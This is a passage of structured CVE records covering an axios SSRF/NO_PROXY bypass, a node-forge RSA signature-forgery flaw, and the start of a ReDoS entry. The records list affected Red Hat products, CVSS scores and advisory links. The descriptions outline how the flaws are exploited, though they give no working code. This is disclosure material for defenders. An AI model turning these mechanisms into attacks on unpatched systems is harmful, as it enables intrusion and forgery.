"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24766"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8483"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8484"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8490"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8491"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8493"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24471"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13571"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:26010: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:24766: Red Hat Ansible Automation Platform 2.5"
},
{
"lang": "en",
"value": "RHSA-2026:24866: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:19712: Red Hat OpenShift AI 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:8483: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:8484: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:8490: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:8491: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:8493: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:24471: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:13571: Streams for Apache Kafka 3.2.0"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-09T15:01:48.111Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-09T14:31:46.067Z",
"value": "Made public."
}
],
"title": "axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.0"
},
{
"status": "affected",
"version": "\u003c 0.31.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.31.0, Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0 and 0.31.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-441",
"description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-16T18:44:20.705Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"name": "https://github.com/axios/axios/pull/10661",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10661"
},
{
"name": "https://github.com/axios/axios/pull/10688",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10688"
},
{
"name": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"name": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"name": "https://github.com/axios/axios/releases/tag/v0.31.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"name": "https://github.com/axios/axios/releases/tag/v1.15.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"source": {
"advisory": "GHSA-3p68-rc4w-qgx5",
"discovery": "UNKNOWN"
},
"title": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-62718",
"datePublished": "2026-04-09T14:31:46.067Z",
"dateReserved": "2025-10-20T19:41:22.741Z",
"dateUpdated": "2026-07-02T12:04:43.542Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33894 (GCVE-0-2026-33894)
Vulnerability from cvelistv5 – Published: 2026-03-27 20:45 – Updated: 2026-07-02 12:05| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| digitalbazaar | forge |
Affected:
< 1.4.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33894",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T14:04:30.304300Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T14:05:14.708Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T20:45:49.583Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Forge (also called `node-forge`), a JavaScript implementation of Transport Layer Security. A remote attacker could exploit weaknesses in the RSASSA PKCS#1 v1.5 signature verification process. By crafting malicious signatures that include extra data within the ASN structure and do not meet padding requirements, an attacker can bypass signature validation. This allows for the creation of forged signatures that appear legitimate, potentially compromising the integrity and authenticity of communications."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:18.494Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33894"
},
{
"name": "RHBZ#2452464",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452464"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33894.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T21:02:52.462Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T20:45:49.583Z",
"value": "Made public."
}
],
"title": "node-forge: Forge: Signature Forgery via Weak RSASSA PKCS#1 v1.5 Verification",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "forge",
"vendor": "digitalbazaar",
"versions": [
{
"status": "affected",
"version": "\u003c 1.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20: Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T20:45:49.583Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
},
{
"name": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc2313#section-8",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
},
{
"name": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE",
"tags": [
"x_refsource_MISC"
],
"url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
},
{
"name": "https://www.rfc-editor.org/rfc/rfc8017.html",
"tags": [
"x_refsource_MISC"
],
"url": "https://www.rfc-editor.org/rfc/rfc8017.html"
}
],
"source": {
"advisory": "GHSA-ppp5-5v6c-4jwp",
"discovery": "UNKNOWN"
},
"title": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33894",
"datePublished": "2026-03-27T20:45:49.583Z",
"dateReserved": "2026-03-24T15:41:47.489Z",
"dateUpdated": "2026-07-02T12:05:18.494Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-69873 (GCVE-0-2025-69873)
Vulnerability from cvelistv5 – Published: 2026-02-11 00:00 – Updated: 2026-06-30 03:15- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags | |
|---|---|---|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-69873",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-12T15:13:03.482882Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400 Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-03T17:25:31.651Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.16::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.14::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
